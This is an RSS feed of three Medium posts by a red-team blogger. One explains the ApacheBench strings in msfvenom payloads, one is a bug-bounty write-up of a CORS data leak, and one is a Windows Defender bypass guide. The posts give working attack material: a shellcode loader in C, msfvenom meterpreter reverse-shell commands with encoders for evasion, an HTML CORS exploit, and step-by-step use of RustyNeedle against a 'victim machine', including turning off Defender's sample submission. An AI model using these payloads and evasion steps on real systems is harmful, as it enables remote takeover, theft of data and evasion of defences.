<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Figurx on Medium]]></title>
        <description><![CDATA[Stories by Figurx on Medium]]></description>
        <link>https://medium.com/@figurx?source=rss-2c5d96e49c77------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*z1YDwbhywuvq1LTyHWzD_A.jpeg</url>
            <title>Stories by Figurx on Medium</title>
            <link>https://medium.com/@figurx?source=rss-2c5d96e49c77------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 01:23:41 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@figurx/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ Why Does My Meterpreter Payload Contain ApacheBench Strings? A Peek Inside msfvenom.exe]]></title>
            <link>https://medium.com/@figurx/why-does-my-meterpreter-payload-contain-apachebench-strings-a-peek-inside-msfvenom-exe-6b81c0f8237a?source=rss-2c5d96e49c77------2</link>
            <guid isPermaLink="false">https://medium.com/p/6b81c0f8237a</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Figurx]]></dc:creator>
            <pubDate>Sat, 12 Jul 2025 14:05:42 GMT</pubDate>
            <atom:updated>2025-07-12T14:05:42.363Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8BJEFhU_hnb88jNzG5bChw.png" /></figure><h3>📌 Introduction</h3><p>While playing around with Metasploit’s msfvenom, I generated a basic Windows Meterpreter reverse shell. Everything went fine until I ran strings toolon the resulting .exe file.</p><p>Suddenly, I saw this:</p><pre>This is ApacheBench, Version 2.3  <br>Benchmarking %s  <br>Requests per second  <br>http://www.apache.org/</pre><p>Wait, what?</p><p>What does ApacheBench, a legitimate HTTP benchmarking tool, have to do with my reverse shell payload?</p><h3>🕵️‍♂️ Static Strings in Payloads: Not Just Coincidence</h3><p>It turns out, this isn’t a rare find. These leftover strings are a known characteristic of the default PE template used by msfvenom when generating .exe payloads. Metasploit doesn’t build executables from scratch. It injects shellcode into a precompiled, valid Windows binary template.</p><p>In many versions of Metasploit, that template happens to be based on a stripped-down version of ApacheBench (ab.exe) because it is small and portable, it is a valid 32-bit PE binary, and it is open-source and reliable.</p><p>So yes, those strings you’re seeing are already present in the original .exe template used by Metasploit. Your shellcode is just piggybacking on it.</p><h3>🤔 Does It Really Matter?</h3><p>Functionally, your reverse shell will still work ofc. But from a red team or malware evasion perspective, these static strings are low-hanging fruit for:</p><ul><li>AV or EDR static signature detection</li><li>Forensic analysts</li><li>Sandboxing heuristics</li></ul><p>It’s not a critical issue, but if you want stealth, minimalism, or clean binary analysis, you should absolutely address it.</p><h3>✅ 3 Ways to Remove or Avoid Static Artefacts</h3><h3>🔧 1. Build Your Own Minimal Stub Loader (C Code + Shellcode)</h3><p>Instead of using a precompiled PE file, generate raw shellcode and embed it into a custom Windows executable that does nothing but load and run the shellcode in memory.</p><h4>Step-by-step:</h4><ol><li>Generate raw shellcode:</li></ol><pre>msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=443 -f raw -o shellcode.bin</pre><p>2. Write a simple loader in C:</p><pre>#include &lt;windows.h&gt;<br><br>unsigned char shellcode[] = {<br>    /* Paste your shellcode here as hex */<br>};<br><br>int main() {<br>    void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);<br>    memcpy(exec, shellcode, sizeof shellcode);<br>    ((void(*)())exec)();<br>    return 0;<br>}</pre><p>3. Compile it with mingw:</p><pre>i686-w64-mingw32-gcc loader.c -o clean_shell.exe</pre><p>This gives you full control and a clean, minimal .exe with no unrelated strings.</p><h3>🧼 2. Use a Custom Clean Template with -x</h3><p>If you still want to use msfvenom&#39;s -f exe option, you can supply your own executable template via -x:</p><pre>msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=443 -f exe -o final.exe -x clean_stub.exe</pre><p>However, this often fails unless the stub has enough space and writable or executable memory sections and its structure is compatible with PE injection.</p><p>Many custom stubs won’t work unless carefully crafted.</p><h3>🐍 3. Use Encoders or Evasion Modules</h3><p>You can obfuscate static characteristics by combining encoders or evasion frameworks like:</p><ul><li>shikata_ga_nai encoder:</li></ul><pre>msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=443 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe</pre><ul><li>Use Metasploit’s evasion module:</li></ul><pre>msfconsole &gt; use evasion/windows/meterpreter/rev_tcp</pre><p>These don’t always eliminate strings like ApacheBench, but they change the structure enough to confuse basic static scanners.</p><h3>🔚 Final Thoughts</h3><p>If you’re seeing ApacheBench or other strange strings in your payload .exe, you’re not alone. It’s not a bug, and it doesn’t break functionality, but it’s definitely worth understanding.</p><p>When your job involves crafting reliable payloads or avoiding detection, every detail matters. Static artefacts like these may seem harmless, but they can become easy targets for defensive tooling.</p><p>Bottom line: Own your payloads. Build them clean, build them smart.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6b81c0f8237a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Leaked Sensitive User Data Using CORS in a HackerOne Program.]]></title>
            <link>https://medium.com/@figurx/how-i-leaked-sensitive-user-data-using-cors-in-a-hackerone-program-b2b49881ea04?source=rss-2c5d96e49c77------2</link>
            <guid isPermaLink="false">https://medium.com/p/b2b49881ea04</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[it]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Figurx]]></dc:creator>
            <pubDate>Sun, 29 Jun 2025 13:22:35 GMT</pubDate>
            <atom:updated>2025-06-29T13:22:35.015Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UHF-zDPdkgNX7Bw-0sosbg.png" /></figure><p>A while ago, while visiting my hometown on holiday, I felt that familiar itch: the urge to test something. With no gear on me, I borrowed my nephew’s dusty laptop, pulled an old monitor from my parents’ closet, and logged into HackerOne. I sorted the bounty programs by the most recently updated and picked the freshest one on the list. Time to hunt.</p><p>The selected program had a wide scope with various endpoints and subdomains. After a bit of poking around, I focused on the main domain: https://redacted.com. While inspecting API calls from the logged-in user context, I noticed some interesting CORS headers being returned for authenticated endpoints.</p><p>While analyzing requests to redacted.com, I tested how the server responded to cross-origin requests by setting a custom Origin header. To my surprise, the server <strong>reflected the supplied </strong><strong>Origin</strong> (https://www.example.com) in the Access-Control-Allow-Origin response header <strong>without any validation</strong>. Even more critically, the header Access-Control-Allow-Credentials: true was also present.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9IrAEXAAHfsZiy1tZTIvJA.png" /></figure><p>Here’s a closer look at what this means:</p><ul><li>Origin: https://www.example.com — I controlled this value in the request.</li><li>Access-Control-Allow-Origin: https://www.example.com — The server <strong>reflected my arbitrary origin</strong> in the response.</li><li>Access-Control-Allow-Credentials: true — This tells the browser that <strong>cookies and session tokens should be included</strong> in cross-origin requests.</li></ul><p>This combination opens the door to a classic <strong>Cross-Origin Resource Sharing (CORS) misconfiguration vulnerability</strong>.</p><h3>Proof of Concept</h3><p>Here’s a quick local PoC I hosted via Python’s http.server. It attempts to exfiltrate shopping cart contents from the victim’s session:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>  &lt;title&gt;CORS Exploit Test&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>  &lt;h1&gt;Testing CORS leak...&lt;/h1&gt;<br>  &lt;pre id=&quot;output&quot;&gt;Waiting for response...&lt;/pre&gt;<br>  &lt;script&gt;<br>    fetch(&quot;https://redacted.com/redacted/orders/web/cart/v1/list?opca=&quot;, {<br>      credentials: &quot;include&quot;<br>    })<br>    .then(res =&gt; res.text())<br>    .then(data =&gt; {<br>      try {<br>        const parsed = JSON.parse(data);<br>        document.getElementById(&quot;output&quot;).textContent = JSON.stringify(parsed, null, 2);<br>      } catch (e) {<br>        document.getElementById(&quot;output&quot;).textContent = data;<br>      }<br><br>      <br>    })<br>    .catch(err =&gt; {<br>      document.getElementById(&quot;output&quot;).textContent = &quot;Request failed: &quot; + err;<br>    });<br>  &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><h3>Steps to Reproduce</h3><ol><li>Log in to https://www.redacted.com using a valid user account in one browser tab.</li></ol><p>2. Save the following PoC HTML to a file, for example exploit.html.</p><p>3. Host the file locally using a simple web server. For example, from the terminal:</p><ul><li>python3 -m http.server 8000</li></ul><p>4. This will make the PoC available at http://localhost:8000/exploit.html.</p><p>5. In the same browser session (without logging out), open a new tab and navigate to http://localhost:8000/exploit.html.</p><p>6. Observe that the malicious page successfully sends an authenticated fetch() request to a protected API endpoint and displays the sensitive response data directly in the browser.</p><p><em>Note: While in this PoC the response is rendered to the screen, in a real attack it could be exfiltrated to an external server or Burp Collaborator.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sSBR8vMljNMxkmbKFp9KcA.png" /></figure><p>As shown in the screenshot above, I was able to extract sensitive data from the victim’s <strong>authenticated session</strong>, including the contents of their shopping cart.</p><h3>Impact</h3><p>The misconfiguration allows any attacker with a controlled origin to access sensitive user data — including:</p><ul><li>Cart contents</li><li>Product metadata</li><li>Pricing info</li><li>Potentially more depending on endpoint behavior</li></ul><p>While this demo focused on /redacted/cart/v1/list, I also tested other potentially sensitive endpoints such as /address/list and /invoice/list, but they did <strong>not</strong> appear to be affected by the CORS misconfiguration.</p><p>This is a <strong>classic CORS vulnerability with credential leakage</strong>, and in a real-world phishing scenario, it could be used to harvest private user data without the victim’s knowledge.</p><h3>Closing Notes</h3><p>I wrapped up the test pretty late that night and submitted the report to HackerOne. Since the vulnerability was fairly straightforward, I didn’t get my hopes up. I marked the severity as <strong>Medium</strong>, hit submit, and called it a day.</p><p>Two days later, I received a response — and just as I expected, <strong>someone had already beaten me to it</strong>.</p><p>The takeaway? If you’re hunting on public programs, go for <strong>newly added targets</strong> and grab those <strong>low-hanging fruits</strong> early. Timing matters just as much as technique.</p><p>Best of luck with your testing — happy hacking! 🐞💻</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b2b49881ea04" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[###Windows Defender Bypass with 
RustyNeedle. It’s still works! ###]]></title>
            <link>https://medium.com/@figurx/windows-defender-bypass-with-rustyneedle-its-still-works-3b75daa22c15?source=rss-2c5d96e49c77------2</link>
            <guid isPermaLink="false">https://medium.com/p/3b75daa22c15</guid>
            <category><![CDATA[cyber]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[microsoft]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[redteam-tool]]></category>
            <dc:creator><![CDATA[Figurx]]></dc:creator>
            <pubDate>Sun, 23 Feb 2025 20:32:00 GMT</pubDate>
            <atom:updated>2025-02-26T20:16:57.409Z</atom:updated>
            <content:encoded><![CDATA[<h3>###Windows Defender Bypass with <br>RustyNeedle. It’s still works! ###</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*kLWUJ7ZL8fJwnJdJp9wE8w.jpeg" /></figure><p>For a while now, I’ve been meaning to take a closer look at the latest techniques for bypassing Windows Defender. As the most widespread AV solution for personal computers, it naturally made sense to test how difficult it is to evade detection in today’s landscape.</p><p>After some research and experimentation with different approaches, I eventually came across a GitHub repository: <a href="https://github.com/mttaggart/rustyneedle">rustyneedle</a> by Mattagart.</p><p>The program seemed deceptively simple, but most importantly, it works — and that’s really what matters. RustyNeedle iterates over encoding and Base64, so nothing too extraordinary there. But enough talk, let’s dive into the details.</p><p>The system version I tested on:</p><pre>Microsoft Windows [Version 10.0.26100.3194]<br><br>OS Name:                       Microsoft Windows 11 Pro<br>OS Version:                    10.0.26100 N/A Build 26100<br>OS Manufacturer:               Microsoft Corporation<br>OS Configuration:              Standalone Workstation</pre><p><strong>Step 1.</strong> <strong>Download and Compile the Executable:</strong></p><p>First, we need to download and compile the executable file of RustyNeedle. This is a straightforward step, but make sure your environment is properly set up for compiling Rust projects.</p><pre>git clone https://github.com/mttaggart/rustyneedle.git<br>cd rustyneedle</pre><p>Here’s a quick explanation of how it works: The program takes the payload, decodes it based on the number of iterations, and then loads it into the target machine’s memory. At this point, we can modify the address of the payload and adjust the number of iterations according to our preferences.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*Bfo8-gpwXeEszVQZtWAX3Q.jpeg" /></figure><p>Save changes.</p><p><strong>Step 2. Create MSFVenom Reverse Shell:</strong></p><pre>msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=&lt;YOUR_IP&gt; LPORT=&lt;PORT&gt; -f raw | base64 -w 0 | base64 -w 0 | base64 -w 0 &gt; &lt;PYLOD_NAME&gt;</pre><p>After generating the reverse shell, host it on the port you specified in src/main.rs (8001 in my case).</p><pre>python -m http.server 8001</pre><p><strong>Step 3. Compile the executable file:</strong></p><p>Go to the RustyNeedles folder where encode.py is located. If you are compiling on Linux, use the following command before proceeding:</p><pre>rustup target add x86_64-pc-windows-gnu</pre><p>This command ensures you have the necessary target for cross-compiling to Windows.</p><p>Then.</p><pre>cargo build --target x86_64-pc-windows-gnu --release</pre><p>Once the build process is complete, transport the compiled executable to the victim’s Windows machine. Be sure to disable automatic sample submission in Windows Defender to sending suspicious files to Microsoft for analysis. We don’t waste that method :D.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*28anjKuNLbFtsfmulUGQtQ.jpeg" /></figure><p><strong>Step 4. Setup Meterpreter listener:</strong></p><pre>msfconsole<br>use exploit/multi/handler<br>set PAYLOAD windows/x64/meterpreter/reverse_tcp <br>set LHOST &lt;You IP&gt;<br>set LPORT &lt;Port&gt;<br>run</pre><p><strong>Step 5. Trigger executable file on victime machine:</strong></p><p>If everything went according to plan, the program should:</p><ol><li><strong>Retrieve the Reverse Shell executable</strong>: It will fetch the encoded reverse shell payload.</li><li><strong>Decode the Payload</strong>: Based on the specified number of iterations, the program will decode the payload.</li><li><strong>Establish a Connection</strong>: Finally, the decoded payload will connect back to our listener on our host.</li></ol><p>At this point, if everything is configured correctly, you should see a successful connection from the victim machine to your listener, allowing you to control the machine remotely.</p><p>P.S. After disabling sample submission, Windows might ask if you’re sure you want to open the file, etc. This is not related to Defender detecting a threat per se; it simply indicates that Windows cannot recognize the origin of the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*bpeUtDL6-OF01R6_uEm17Q.jpeg" /></figure><p>And thats would be all. Hope this material comes in handy for you. Just a heads up, though — this is strictly a POC, so don’t go using it outside of your lab environment. Keep it safe, keep it clean.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3b75daa22c15" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>